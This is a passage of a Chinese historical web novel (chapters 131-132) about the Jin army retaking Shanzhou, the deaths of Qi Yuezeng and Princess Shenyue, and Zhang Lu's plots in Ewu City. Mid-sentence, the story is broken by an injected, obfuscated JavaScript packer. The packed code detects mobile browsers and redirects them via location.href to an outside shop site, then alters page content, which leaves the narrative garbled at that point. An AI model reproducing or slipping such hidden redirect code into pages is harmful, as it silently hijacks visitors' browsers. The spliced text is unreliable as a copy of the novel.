他挥舞着马鞭,在最后一阵轰隆声落下后,高声呐喊:“大晋的男儿们!让这些吐谷浑人看看你们的血性!冲——” “冲啊——” 号角连天中,大晋的士兵如同看见了偷蜜贼的蜂群,疯狂的涌向了被轰开豁口的鄯州城。 呛人的烟雾中,回过神来的祁越泽将吐谷浑大王子拽上马背,疯狂逃离城门处。 坐在祁越泽身后的吐谷浑大王子忍不住回头看去,他呢喃道:“这就是大宰相说得火石?为什么你爹没有造出来?为什么!要是你们那造出来了,我们早就踏平了吐蕃!你们就是群废物!废物!” 为什么?祁越泽脑海中不由得浮现出,那个在族学中教他们水文地理,教硝石制冰的男人。他曾经也非常的敬重他,可后来呢?好似在他娶了章麓的五姐后,就没再接触过了吧。 若是他当年没有跟姓杨的搅和在一起,若是当年他没有听信他的话,去偷那个男人写出来的东西,或许……或许…… 不,没有或许! 祁越泽甩开脑中的悔意,他记得那个男人曾经告诉教过,无论做什么事都不要后悔,走下去,坚定的走下去,直到死亡为止。 “去慧园!” * 回到慧园,祁越泽将吐谷浑大王子丢下马,道:“去找神月公主!” “找她做什么?她一个女人……” “你想不想活着?想活就按我说得做!”祁越泽第一次恶狠狠的冲吐谷浑大王子怒吼,但他心里却觉得前所未有的畅快:“神月公主是大王的亲侄女,她手上有已故神花长公主的花神军,只要神月公主与你一道,花神军就必须保护你!明白了吗!蠢货!” 吐谷浑大王子刚想反驳,对上祁越泽宛若地狱恶鬼般的眼眸,忍不住打了个寒颤,低声道:“我知道了,我这就去找她!” 说罢,连滚带爬的跑进慧园,一路朝着偏僻的一座暖阁中跑去。 路上,祁越泽拦住一个守卫,命令道:“去把大王子掳掠来的女子都杀了。” “啊?”守卫诧异:“可大王子他……” “我命令不动你了是吗?” “属下不敢!”守卫惊慌的低下头,他怎么能忘了,祁越泽才是此次征东大军的大将军,赶忙道:“是!” “记住,一个不留,杀完再给她们换上一身干净衣服,不许侮辱她们,明白吗?” “明白!”守卫犹豫了两息,小心翼翼的问道:“将军为何要如此做?她们若是能侥幸活下来。” “不可能活下来。”祁越泽道:“中原的那些男人,都些是保守到自私的垃圾,他们不会允许名节有失的女子活下来……不,包括男人,失了名节的男人,也不可能活。” 说罢,他脚下不停,遥遥跟着大王子一路进入后院。 在那守卫准备转身去执行命令的时候,隐约听见有人说:“就算我当年与男人相恋违背人伦,有失天德。可男欢女爱有什么错,为什么偏偏这世间总是有人容不下呢?” * “我不走!”已经穿上金丝软甲的神月公主神情坚毅:“我吐谷浑的战士们还在拼死反抗,我作为吐谷浑的公主,又怎能弃城而逃!” “这里本就不是吐谷浑的土地,放弃了又能如何?”吐谷浑大王子气急败坏道。 神月公主碧绿的瞳孔扫射在自己的表弟身上,激得对方心中一个冷颤:“为了这座城,吐谷浑损失了多少好儿郎!祁中岳可还在河关,若是我们退了,祁中岳便是瓮中之鳖!”说罢,他又看向祁越泽道:“难道祁将军愿意放弃自己的父亲?” “他不会死。”祁越泽面色冷淡:“积石山有狭道,他有退路,但是我们没有。” 神月公主神情嘲讽,语气却依旧自傲:“你们贪生怕死,没有决一死战的骨气,但是我有!即便与大晋相比,吐谷浑只是弹丸小国,但我身为吐谷浑的公主,就有责任保护吐谷浑的每一位臣民!吐谷浑牺牲数千儿郎的性命攻下的城池,便是属于吐谷浑的!任何人想要夺走都必须从我的尸骨上踏过去!” 吐谷浑大王子被她的豪情所动摇,但祁越泽却没有被触动的感觉,他道:“吐谷浑被夹在吐蕃、突厥和中原的中间,就注定了只能受人摆布,即便现在吞并了西域三十六小国,也没有统领他们的条件,空有野心也不过是空中楼阁罢了。今日你们能攻下鄯州,是因为我父亲与鄯州刺史里应外合,否则就你们这些虾兵蟹将,还想摧毁康都那什的铁骑?即便康都那什再刚愎自用,他的铁骑也是西域大漠的一颗明珠。” 他抽出手中的刀,尖刃抵在神月公主纤细的脖颈上:“今日你必须跟我们走!” * 硝烟弥漫的鄯州城城墙上,李鹤霖拔掉吐谷浑的军旗,换上大梁的旌旗。他站在城垛后遥遥望着城内,看着破旧的屋舍内悄摸走出身背细软的百姓,大多都是番族,也有几个长得汉人面孔。 城楼下,安西都护府的两位番兵将军和蒋昌伯的副将李泽天正呈倒品字受降。 众人看着一辆辆装满辎重的马车鱼贯而出,番兵将军迫不及待的掀开其中一辆的盖布,只见里面装满了金银珠宝,还有不少大食国才有的精美金器。 早已劫掠成性的番兵将军按耐不住,冲依旧在马背上稳坐泰山的李泽天喊到:“我们番兵这回损失惨重,只要四成,不过分吧?” 李泽天瞥了他一眼,道:“大将军说了,全部充公,用作帮扶百姓重建的资费。” 两个番兵将军面面相觑,都从对方的脸上看到了震惊和愤怒:“自古以来,番兵征战都是要分六成奖赏,朝廷还要另赏,如今我们只要四成已经是看在大将军的面子上,你们竟还贪得无厌?” 李泽天是大食与汉人的混血,鼻梁高挺,眼窝深邃,大约是连年征战的关系,皮肤比同龄人都显得黝黑,且褶皱繁多,再加上脸上有道贯穿伤疤,笑起来的时候尤为狰狞。 “你这个自古是自哪朝哪代的古?大晋自新年立国便制定了新的番兵封赏制度,怎么?曾经与你们把酒言欢的安国公没告诉你们?哦,我忘了,他老人家都已经身首异处了,想必也没嘴再告诉你们这些。” 番兵将领有些拉不住略显暴躁的坐骑,正色道:“你们晋人这是要卸磨杀驴?整个西边可都是番兵替你们中原人镇守的!” “替?”李泽天似是听到了什么笑话:“被亡国的民族说什么替?朝廷怜悯你们可怜给你们饭吃,真把自己当主子了?”说罢,他环视了一下四周面容憎恶的番兵将领们,冷哼道:“大将军说什么便是什么,违令者杀无赦!” 番兵们面面相觑,为首的将领们一时拿不定主意。若是以往的陇右道大将军他们自然不惧,只是蒋昌伯这个人他们不得不防。他治兵手段严苛,凡有抗者无论是谁都必杀不怠。 相比金银财宝,他们更惜命。 正当他们犹豫的时候,有不少百姓闹嚷嚷的冲进了军阵当中。本就暴躁不已的番兵将领在马匹被惊扰后,放任马儿撩起前蹄踹飞了临近的百姓。那百姓身背的包裹在跌落在地时瞬间散开,一包袱的金银细软散落一地,激得周围的兵将眼都红了。 那番兵将领暗啐一口,破罐子破摔扬声喊到:“杀了他们!大将军有令,严查城中百姓,不能放过一个吐谷浑的探子!他们跟汉人长得不一样,一定都是吐谷浑的探子!杀了他们!” 早已饥渴难耐的士卒们瞬间欢呼雀跃,举着大刀挥砍向那些百姓,在飞溅的血液中,叮当脆响和哀嚎声被一波又一波的欢呼盖过。 站在城楼上的李鹤霖众人自然也看到了城楼下的混乱。 萧雷蹙眉道:“王爷,他们太过分了!我让人去拦!” 李鹤霖拦下他:“不必,这与我们无关。” 萧雷诧异:“王爷?” 一旁,蒋昌伯手下的一名校尉一脸惊奇的打量一番李鹤霖,他从来没想过有一天会从眼前之人的口中听到这句话。要知道,当年李鹤霖为何会遭遇吐谷浑大王子的埋伏,就是因为要救几个被吐谷浑兵劫掠的百姓,若当时他选择无视,及时赶回鄯州,应当就不会令墨云骑折损近半。 他忍不住好奇道:“为何这么说?” 李鹤霖看向这名校尉,当年他被伏,蒋昌伯便是派的这位校尉领兵前去驰援,他还记得当年他在救下他的第一句话,几乎是咆哮着说出口的:“这几个百姓难道比你死去的四百多兵卒要重要吗!” 是啊,重要吗?人人都称颂他以八百之众力抗吐谷浑大王子三千铁骑,是不当之勇,有飞将之风。可谁也不知道,当年他是因为什么才被埋伏,因为什么才被迫打下这场人人称颂的战役。 如今他依旧无法回答谁更重要,但他学会了审时度势,学会了看人眼色。 他反问校尉:“你为何不去?李泽天为何不去?” 校尉愣了下,反应过来后,大声笑到:“自然是大将军的命令,这些番兵不服管教已久,总要让他们吃个大亏,才能知道听话两个字怎么写。只是,淳王殿下竟也会顾虑这些?若你下令阻止他们,大将军不会说什么,百姓反而会感激于你。” “或许吧。”他看向城中大道的尽头扬起的烟尘,还有一众排列整齐的蚂蚁:“但我不需要一时的感激涕零。” 扬起的烟尘中,一抹绿色显露出来。 “敌袭——”李鹤霖朝着城楼上打扫战场的人咆哮着,青筋毕露。 突然一声号角响起,装满金银珠宝的辎重车突然被掀翻,金光璀璨散落一地,吐谷浑的士兵从中破出,瞬间拔开火折子丢入车厢之中,引燃里面的火油,也燃烧了他们自己。 献降的辎重车瞬间变成一个又一个巨大的火球,咆哮着将烈火传递到了附近的士兵身上,一传十十传百,只三息的短暂功夫,就有上百士卒身上被引燃,原本秩序的队伍瞬间被冲散,而劫掠财务的番兵彻底乱了手脚:有人抱着财物不肯松手,被撞翻被踩塌;有的人丢掉财物逃跑,却被濒死的百姓保住腿脚,拉做了垫背;有人跑得快,最后却死在同袍受惊的马蹄下。 数十名番兵浑身大火的在番兵将军附近原地打滚,将卫队冲得七零八落。 “把他们都砍了!别让他们将火传出去!”番兵将军一边砍杀着火的兵卒,一边冲着混乱的人群大喊。 早在番兵将领跑去劫掠的时候,李泽天便指挥士兵退后。此时,城楼上的号角声再次响起,他扬起手中马槊,直指前方:“杀——” 131. 第 131 章 于重重火光与浓烟中,李泽天的队伍与冲杀出来的吐谷浑骑兵短兵相接。吐谷浑骑兵冲垮了番兵的队伍,无情的绞杀他们,身后属于大王子的步兵队伍涌上前,将尸体全部推入大梁军队挖出的沟壑中,填平一切阻碍。 吐谷浑士兵的突围出乎意料,原本冲击着队伍的百姓中,不少在脑袋上绑上了红巾布,捡起地上的武器开始拼杀。只有真正想要逃离的百姓面露惊恐,尖叫着躲避飞蝗般的箭矢、高高的马蹄、无情的刀光剑影。 一个跌倒的小姑娘刚被家人扶起来,便被一群番兵包围,劫掠成性的番兵眼见主将陨落,纷纷四散而逃,想要抢些财宝备身。 一个满脸是血的壮硕兵卒举起大刀作势要砍…… “噗——”的一声,刀枪没入血肉的声音传来,那小姑娘泪眼婆娑中,眼睁睁的看着眼前的男人胸口中钻出一个银色的尖头,还没看清,那尖头便收了回去,只留一个冒血的大洞。 “走!快走!”小姑娘的家人背着她不要命的朝人少的地方跑去,远离战场。 那姑娘不住的回头看,看着战场中的男人一身墨黑铠甲,用长枪挑飞敌人的头颅,扫开重重阻碍,目标明确的朝身一个穿甲胄的女人而去。 “别看了,阿玉娘,我们要快些赶去南边,有卫队接应我们。” “阿叔,那人是谁?”阿玉娘问道。 “是谁都与你无关,那只是个外邦士兵,配不上你!”阿叔擦了擦脸上的汗珠和血迹:“你是吐蕃赞普留在吐谷浑的亲女儿,是吐蕃的公主,将来嫁的只能是王子。” 城楼上,萧雷瞧着射偏的箭矢,暗啐一口。他自从在武定县伤了眼后,看得便不如以往远也不太清晰,如今要是让他放弃远攻,纯粹倚靠近战,他属实是不太习惯,即便他双刀使得如同他的箭法一般出神入化。 几枚箭矢从城楼飞下,擦肩而过,祁越泽根本来不及朝上看一眼,只伏低身体躲过挥来的刀刃,然而他身侧的护卫却没有这么好运,连被两枚箭矢射中,落马声令祁越泽的心弦越绷越紧。 此时,一匹白色骏马越过燃烧的车架,如疾风般窜入突围的队伍,直奔他们而来,祁越泽冲身侧的护卫大叫:“拦住他!绝不能让他杀了公主!” 可是祁中岳留给他的三十二卫如今只剩下八人,根本挡不住李鹤霖的攻势。公主的亲卫随即补上,以英勇之姿加上轻骑无以轮比的速度,成功将李鹤霖与其他人分割开来。 然而,独自一人的李鹤霖依旧无所畏惧,祁越泽只听得身侧的人接连惨叫,一个又一个的倒下,心中震颤不已。 这都是他父亲训练出的精锐,竟敌不得对方一个叫不出姓名的小将。有三个公主亲卫被李鹤霖直接横扫下马,祁越泽感觉自己在那柄红缨枪划出的弧线中,看到了一个他曾日思慕想的身影。可那个人最后…… 兵器带来的劲风锐不可当,祁越泽挥刀挡开,蛮力震得双方马匹后退半步,祁越泽心跳擂鼓,这人的力道也跟那个人一样强悍…… 他的呼吸变得急促,手中战刀豪不犹豫的砍杀下去,心中不停的告诫自己,那个人早就死了,死在了北宁关! 与此同时,一柄长枪与祁越泽的长刀一同朝李鹤霖刺去。李鹤霖脚勾马镫,单手拉筋缰绳身体一侧,直接倒在了马腹部下,左手夹紧长枪枪柄,银色枪头从马腹下直直穿过,深深刺入祁越泽的马腿之上。在马匹跪倒的一瞬间,再次一刺,刺穿了马匹的脖颈。 祁越泽瞬间被甩了出去,喷溅的血液和翻飞的.内/脏/碎片甩在了他的脸上、身上,他还没来得及抹掉糊在眼上的血肉,就被一只银枪抵住了喉咙。 模糊的视线中,他看不清来人,只听得一个沉着的男声道:“我是章麓的丈夫,若不是情势紧急,我绝不允许你死得如此轻松。” “你是他的……”妹夫。 最后两个字,祁越泽再也没有机会说出来,他倒在了地上,血从脖颈处簌簌流出,浸透了身下的砖石与土壤。 李鹤霖甩掉枪头上的血,在吐谷浑骑兵的砍刀挥来时,顺势将他击打下马,枪头直指离他只隔着一个人的吐谷浑大王子。 两人再见,仍是剑拔弩张。 “你不能杀我!我是吐谷浑王子!未来的西戎之王!”大王子惊叫道。 李鹤霖道:“我不杀你,你活着比死了更有用,但她绝不能活着。”他的枪头往右偏了偏,指向了被卫兵层层护卫的神月公主。 “保护公主!”护卫转而将神月公主团团围住,徒留吐谷浑大王子一人骑马站在原地,显得颇为可笑。 李鹤霖冷哼一声,命人绑了他,然后纵马走向神月公主:“神月公主,你逃不出去。” 神月公主瞧了瞧前面的李泽天,又看了看后面的李鹤霖,灿然一笑:“纵然逃不出去,也别想我投降!” 她看向身侧的护卫:“吐谷浑的健儿们!今日我没能带领你们活着回家,是我的失职!但我们绝不能屈服于梁狗的铁蹄之下!神明永远保佑吐谷浑!保佑我们的家人!” 神月公主高举战刀,狠狠劈向眼前的大晋将领,李鹤霖不会再给她任何机会,挡开她的战刀,摸出马鞍上挂着的匕首,捅进了她的腰腹。 两人肩膀相撞时,神月公主听得这位大晋将领说到:“你姑姑有个孩子,你想让他坐上吐谷浑的王位吗?” 神月公主瞪大了双眼,在跌下马背的瞬间,她拼命的朝空中伸手,似乎想要抓住什么,可她的生命已经抵达终点。 * 三日后,鄂五城凤家老宅。 章麓命人快马加鞭送来了续骨丹,凤起服下后,由大夫刮净腐肉,重新包扎。章麓和双竹站在门外,听着里面隐忍的痛吟声,面无表情。 双竹双手抱胸,扫视了一下周围的人,低声道:“我们来了这几日,就没见过凤家主出面,这不是他嫡子吗?” 章麓并不意外:“凤家原是中原老世族,与荥阳郑氏、琅琊王氏很像,都是只论大小宗,不论出身。所谓嫡子,是能继承者才是嫡子,当失去继承家业的能力,便是庶子,无论是正妻所生还是妾生。像王右相,他是王氏上任家主正妻之子,但他无意于继承家业成为家主,于王家来说便是小宗,是庶子。而如今的王家家主是王右相的堂弟,叔伯之子,他便是大宗,是嫡系。” 她看了眼紧闭的房门,缓缓道:“凤起已经失去了继承家业的能力,凤家主应是令选继承人了。只是凤起毕竟是他正妻所生,且他正妻因救他而死,心中还是存着几分亏欠,便将他放在了老宅,放在一座雕梁画栋的二层小楼里,可即便这座建筑再精美绝伦,也无法掩盖凤起是个弃子的事实。” “不过,他越不甘心,对我们越有利。” 一声尖啸传来,章麓和双竹同时仰头看向天空,一直白色的海东青盘旋在高空,凤家暗卫想要将它射下,却屡发不中。 章麓抬了抬嘴角,食指与拇指环扣于唇间,打了个呼哨。 那白色的海东青得了命令,瞬间以闪电般的速度俯冲而下,在距离章麓仅五尺的距离时才挥翅减小速度,安稳的落在了她的手臂上。 章麓取出它脖颈上的小直筒,取出里面的纸卷,上面写着:‘已成’。 “计划完成了一半,接下来就看我们的了。就是不知道这凤家是否当真如外界传言一般,各房斗得厉害。” 此时,恰逢吴管家送大夫出来,章麓直言道:“吴管家,我二人有要事去趟主城,待凤公子无大碍后,去城南大同商号找我二人便是。” 大同商号?吴管家心中微惊。虽在拿到续骨丹后就有所猜测,但真的得到应证的时候,还是颇为不可思议。 章麓与双竹骑马一路行至主城,交换了通关文牒后,便直奔大同商号而去。 如今大同商号的实际主人已经拨云见日,吐谷浑当地的商户联合起来围剿,大同商号不得已缩减业务,但谁也不知道,大同商号在吐谷浑的各项精英本就不是为了赚钱,而是为了获取情报。 加上入冬前大量收购当地米粮,直到大同商号的消息传入吐谷浑,吐谷浑各个部落的米粮大半已入大同商号的粮仓,若是大同商号不开仓放粮,那么今年冬季,本就不善耕种的吐谷浑各个部落都将陷入无粮可炊的境地。 因此,即便大同商号如今大门紧闭,急得依旧不是他们,而是吐谷浑的官员和百姓。 在吐谷浑各方势力紧盯的情况下,章麓和双竹去往大同商号的事瞒不住,本也不打算隐瞒。 章麓站在大同商号三楼的雅间内,透过窗户看向外面的人群,几个鬼鬼祟祟的人来回走动,视线却一直钉在大同商号的门前。 她笑了笑,道:“这搅屎棍必须稳稳的插在吐谷浑的棋盘上!番族引起的风浪想扑在中原人的身上,没门!” * 咚咚咚,敲门声响起。 一个圆脸大胡子,身着吐谷浑服饰的男人弓腰走了进来,他身高不足六丈,气质上佳,身后跟着一个容貌妍丽的女子,看得出正极力让自己保持镇定,只可惜飘忽的眼神和抿紧的嘴唇还是暴露了她的紧张。 大胡子男人对章麓拱手道:“东家,人带来了。” 章麓关上窗户,然后回过头,先是对大胡子男人客气拱手,赞扬道:“莫老板的办事效率果然很高,辛苦了。” 莫海哈哈大笑道:“东家谬赞!论效率高还得属长安的胡老板,我可远远比不上他。” “莫老板自谦了。” 莫海笑笑,将身旁的女子拉到身前,介绍道:“这便是蜂部上报的女子,与您三个月前给的信息完全对得上。”说罢,他给那女子使了个眼色:“愣着做什么?我们东家可是救你出刀山火海的人。” 那女子神色紧张,双手抱臂缩着脖子,非常害怕别人碰到自己,任何人试图靠近她,她都会迅速躲避,宛若猎场受惊的兔子。 “你们都出去。”章麓道。 莫海了然,挥手让人都去门外,自己最后离开,并轻轻将门带上。只剩章麓和那女子两人,屋子里瞬间宽敞明亮了不少,那女子的神色也放松了许多,她紧贴着外间的墙壁,手中抓着收束在一旁的垂幔抱在怀里,仿佛这样才能令她感到心安。 这样的人戒心强,但要博取她的信任也容易。 章麓拿起桌案上的木盒朝她走去,只听得‘咚’得一声,那女子快速后退咚的一声撞在了墙上,因为紧张不停吞咽着口水,手中还紧紧攥着帷幔,将厚重的湖锦揉出了深深的褶皱。 “你可是霍封妍?青州风霞郡霍氏?”章麓停下脚步,在女子面前打开木盒,露出里面的一支累金丝蝴蝶簪:“是你哥哥霍封黔让我来救你的。” 霍封妍瞳孔骤缩,她张开嘴啊啊了两声,眼泪翻涌而出,她用帐幔捂住自己的脸,身体顺着墙面下滑,将自己整个人都包裹在帐幔里。 章麓蹙眉,她刚刚在霍封妍张嘴的时候,看清了里面的情形:“你的舌头被拔了?拓跋烈干的?” 霍封妍轻微的点了点头,眼泪如断了线的珍珠流个不停。 “别哭了。”章麓蹲下来,拉开霍封妍手中的帐幔:“当年你作为淮南王控制霍封黔的人质,被送给党项番兵的大将军拓跋烈,如今霍封黔已死,淮南王逃去岭南,无论是对于拓跋烈还是淮南王,你都已经是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565224|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步废棋,他们随时都可以杀了你,想不想为自己报仇?” 霍封妍愣了愣,先是点了点头,紧接着又猛得摇头,手脚并用的想要跑,被章麓一把拉住。 “你在怕什么?我是虞庆侯之女,大晋淳王妃,一个被灭国的番兵头子我还不放在眼里。有我在,你想做什么他都不敢反抗。” 霍封妍愣了愣,章麓正欲再说什么,楼下忽然传来一声破门声,紧接着便是一阵混乱的打砸声。 霍封妍如同惊弓之鸟一般,连滚带爬的钻进狭小的桌子下面,拉下桌围,熟练的宛若做过无数次一般。 章麓蹙眉,让双竹看好她,自己推开门走出房间,只见一个西域长相的人正带着七八个身着羌人服饰、手握弯刀的人往院子里冲。 “给我搜!把这些肮脏的汉人都给我抓起来!” 其中一个人冲上了二楼,一见到章麓抬手就要抓,被她一把抓住衣领从二楼丢了下去,砸断了楼下的桌椅板凳,嘴角渗血,捂着腰腹动弹不得,显然伤得不轻。 为首之人抬头望去,只见围栏旁站着一个气度不凡的汉人郎君,虽看起来纤细瘦弱,可眼眸却宛若荒漠饿狼,盯得人遍体生寒。 “谁准你们在晋人开的大同商号里闹事的?”章麓眼眸低垂,以睥睨之姿盯着为首之人,直把对方盯得发毛。 那人心中不忿,举起弯刀指着章麓道:“你是大同商号的老板?哼,你们抓了我的人,还有脸质问我?去,给我搜他背后的屋子!那小娘子肯定被藏在里面!” 三个扈从冲上二楼,章麓躲开最前面之人的拳头,一把抓住他的手腕,朝外狠狠一绞,一脚踹在他的小腿上,身体趴在地上的瞬间,被反绞的手臂发出‘咔嚓’的断裂声。 另两人面露犹豫,对对方的狠辣手段感到胆寒,一时间竟不敢上前半步。 楼下为首之人恼恨的咆哮道:“杀了他,给我杀了他!否则你们通通都去死!” 两人瞬间勇气大增,抽刀便砍,章麓后退躲过袭来的刀刃,劈手夺过其中一人的刀刃,狠辣又果决的直接削掉了另一个人的头颅。那头被章麓拎起来,砸在了为首之人的身上。 血液在空中划过一道完美的弧线,洒落在楼下所有扈从的身上。 为首的人被刺激的眼都红了,他愤恨又畏惧,颤抖着手将那头颅丢开:“你胆敢杀吐谷浑王族的卫兵!这是死罪,死罪!” 章麓丝毫不惧,将另一个被吓尿的扈从踢到一边,嫌弃的在鼻尖挥了挥手,驱散腥臊的空气,道:“吐谷浑王病重,摄政王监国,但吐谷浑王有明令,摄政王及其亲卫无令不可出皇城。而你们却翻越朋岁山入吐谷浑的边城,就算是死在这里,也无人敢置喙。” 为首之人闻言一僵,鄂五城是吐谷浑与中原交界的边城,北辰朝末年战乱频发,不少人跨境来往,因而这些边城向来民族混杂且混乱。但鄂五城例外,这里虽然也有人来往跨境,但因着凤家在此的关系,这里商业繁荣,物产富饶,成为了不少王公贵族的后花园。 他们是摄政王的亲卫,虽无令不得出,但吐谷浑王早年征战落下不少暗伤,身体非常虚弱,根本管不住摄政王。且中原人内乱与他们无甚关系,他们早已在连年的征伐中劫掠成性,只靠着每年开一次的榷场并不能满足他们的胃口,便靠着帮汉人偷渡去河州边城谋些利益。偶尔有汉商经过或者暂住鄂五城,他们也会联合城主截杀他们,金银财宝和货物五五分成。 所以他将跨境的事当做稀松平常,自然将吐谷浑王的命令抛诸脑后:摄政王所属卫兵无令出城,可就地格杀。 以前从来没人敢反抗,只是没想到,今日竟碰到了铁板。 他面色不善的看向章麓道:“你可知这是谁的地盘!” 章麓勾起一个讽刺的笑容:“摄政王拓跋宏,原来的吐谷浑四王子,被吐蕃连灭六城后,怕被吐谷浑王问责,遂投向大梁,借河州番兵大元帅的兵力,在大业三十四年力克突袭大昆仑一代关口的吐蕃军队。” 听到这里,为首之人昂首挺胸,正要说什么,就听见章麓继续道:“结果吐蕃军队掉头就灭了仅剩四城、苟延残喘的南吴国,乘胜又吞并了几个西戎小国,将吐谷浑逼退至乾马以北。” 章麓似笑非笑的看着他:“一个败军之将,靠着中原提供的精良武器、丰厚军资才能以多胜少,博得军功,也不知道哪里来的底气嚣张。还有他的儿子,拓跋烈,嗜虐成性,罔顾人伦,将百姓当做猪羊,设猎场,围追堵截,残暴不仁。侄子慕容英残害手足,与大晋叛臣淮南王做走狗,啧啧啧,这一家子,可真是坏透了。” 为首之人面色诡异阴沉,他身旁的随从呵斥道:“说什么乱七八糟的!拓跋烈是养子,是个汉人,只是摄政王养着玩儿的玩意儿,他性情暴烈与摄政王何干?拓拔丹才是摄政王的亲子!唯一的儿子!” “哦?”章麓挑眉:“抱歉,这拓拔丹听都没听过,我只知道拓跋烈。”她转了转手中的刀,面色淡然:“不过无所谓,今日你们所有人,都要给我留下。” ‘唰’的一声,所有门窗皆被关起,为首之人惊得连连后退,试图撞开大门却徒劳无功,门被人从外面给挡住了。 章麓剑指对方,笑意吟吟:“拓拔丹,我原本还想了个复杂的计划将你引诱出王都,没想到你竟色令智昏至此,亲自来抓霍封妍,倒是省了我不少功夫。” “你认识我?”拓拔丹惊疑不定:“你刚才都是装的!” “当年在北宁关,是你站在袁纥烈身边为他出谋划策,是你将我兄长捆在马后绕着葬马坑拖行数圈,我这辈子都不会忘记你的样子。杀了他们——” 132. 第 132 章 “什么!你说谁杀了拓拔丹?”拓拔宏一把甩开身边的美人,拽起台下人的衣领,恶狠狠的瞪着他。 “是……是大同商号的黎老板,他们把霍封妍救走了,少将军去抓人,结果被他们给杀了,人头……人头被人丢在了军营里,所有人都看见了……” 砰—— 拓跋宏将人丢到一旁,猩红的双瞳瞪得如铜铃一般,咬牙切齿道:“传本王军令,让他们踏平吐谷浑境内所有的大同商号!” “是!” * 凤家。 已经醒来的凤起倚靠着床架,与章麓下棋。 “伤口还没好,你应当好好休息。”章麓在棋盘落下一子,但仍旧是凤起占据上风。 凤起虚弱的低笑着:“不,我要亲眼看着当初欺辱我的人,都惊恐的跪在我的脚下,求我原谅他们。”黑子落在棋盘上,发出清凉的响声。 章麓轻撩眼皮,似笑非笑的看着他:“如今大同商号已将所有吐谷浑境内的粮库钥匙都交给了你,接下来,就看你的诚意了。” “你放心,我凤起自然说话算话,只要摄政王一死,吐谷浑群龙无首之时,便是推崔青卓上位之日,那时,祁中岳定然会领兵返回,至于能不能取得他的项上人头,就看你的了。” 白色的棋子在章麓的指尖来回翻转,罗定后,原本占据下风的棋局瞬间调转过来,连吃凤起十子:“蛰伏七年,定当一举翻盘。” 最后一子落下,输赢已成定局。 * 凤家老宅偏僻,但因常年在临近的官道和小径上开设茶舍,为来往客商百姓行方便,因而周围常有叫卖的小摊,在年关前,商队来往最频繁的时候,倒也是热闹非凡。 三条小径与官道交叉的路口,拴着四匹上好的青璁马,旁边还有一个小兵在看护。 章麓与双竹大马路过时,不经意的朝那边望了一眼,有几个盯着她的人瞬间移开视线。她勾起唇角,带着双竹纵马离开了这里。 待他们走后,一个小兵从凤家方向朝这儿走来。 拓跋烈放下茶盏:“如何?” “传言没错,凤起被废,凤家主另择继承人,对凤起不再像之前那么宝贝。着凤家老宅便也没什么守卫,潜进去很容易。属下在屋顶偷听了好一阵,确认凤起确实和大同商号合作了,那个黎朝云将大同商号所有粮库的钥匙都转交给了凤起。” 与凤起合作,却刚刚杀了父王最爱的儿子,这黎朝云到底想干什么? “凤家大宗是站在父王这边的,但凤起却与杀了拓拔丹的人联系甚密,到底有什么目的?”拓跋烈蹙眉思索。 一旁的谋士说到:“这凤起怕是有异心。” “什么意思?” “一个攀登道顶峰的人突然坠入谷底,还被至亲抛弃在这荒郊野岭里,无论谁都会不平衡。”谋士解释道:“凤家主如今人在相邻的朋岁城,却丝毫没有发现凤起和黎朝云的动作,只能说明,是凤起有意瞒着他。凤起身边都是他母亲的亲信,自然希望他复起。如今他任由黎朝云杀了拓拔丹,还将大同商号遏制着吐谷浑百姓命脉的粮草都接管过来,其中意味已不言而喻啊。” “哼!他难不成还以为自己能推翻父王的统治!”拓跋烈脸色难看得可怕。 谋士摇头:“他未必想要颠覆拓拔皇室,但有可能会想要另择新主。” “你什么意思?” “主上,大王的长子被斩杀于鄯城,神月公主被俘,如今拓拔丹也死了,若大王身死,这吐谷浑的王位可就……”谋士的话没有说完,但拓跋烈依然明白他的意思。 他猛的站起身,道:“去见凤起!” 在他们背后的山头上,章麓牵着马与双竹并肩而立,遥遥望着拓跋烈一行人荡起的尘烟。 双竹:“他还真去找凤起了。” “为了推拓跋宏上位,凤家没少费心血,尤其是凤起,为了帮助拓跋宏与祁中岳分庭抗礼,甚至弃笔从戎,替他打了不少胜仗。结果,在凤起被冤枉的时候,没有一个人站出来为他说话,他废了,就将他抛弃掉,再不过问。当真是白眼狼。”章麓翻身上马:“走了,剩下的交给凤起去解决。” * 拓跋烈带人强闯凤家老宅,护卫们根本拦不住也不敢拦,任由他一路闯进凤起的小楼。 “你竟然勾结外敌!”拓跋烈一脚踹开凤起的房间,睚眦俱裂:“父王待你不薄,结果你却吃里扒外杀我兄长!你信不信我杀了你!” 凤起被人拽住衣领,也丝毫不慌,他轻撩眼皮,目光沉静的看向暴怒的拓跋烈,淡声道:“我这是在帮你啊,主上。” “放屁!”拓跋烈怒骂。 凤起被对方的口水喷溅了一脸,却丝毫不在意,反而严肃道:“吐谷浑大王不行了,总要有继承人,难不成你想让大王子继位?他可是因为你强要了他的正妻而恨你入骨。若他登基一定不会放过你。至于摄政王,谁都知道他最爱的儿子是拓拔丹,你们两个虽明面上都为养子,但是谁不知道拓拔丹是他与大王爱妃的私生子。又颇为嫉妒你的才能,若摄政王上位,以他对拓拔丹的宠爱,你也得死。左右都是死,不如与我合作搏一把如何?” 拓跋烈眯起双眼,将凤起丢回床上,神色肃然:“你想要什么?” “要我应得的一切。”凤起高昂着头颅,一字一顿的说到:“我要凤家所有对不起我的人,都跪在我的面前!” 拓跋烈的心绪已经不若之前那般暴躁,他直勾勾的盯着凤起,问道:“你想怎么做?” 凤起:“在说之前,我想问一问你,摄政王是不是因为拓拔丹的事,要踏平吐谷浑境内所有的大同商号。” 拓跋烈点头:“所有的大同商号都被拆了,但他们早就收到消息,人去楼给,连个苍蝇都没瞧见。” 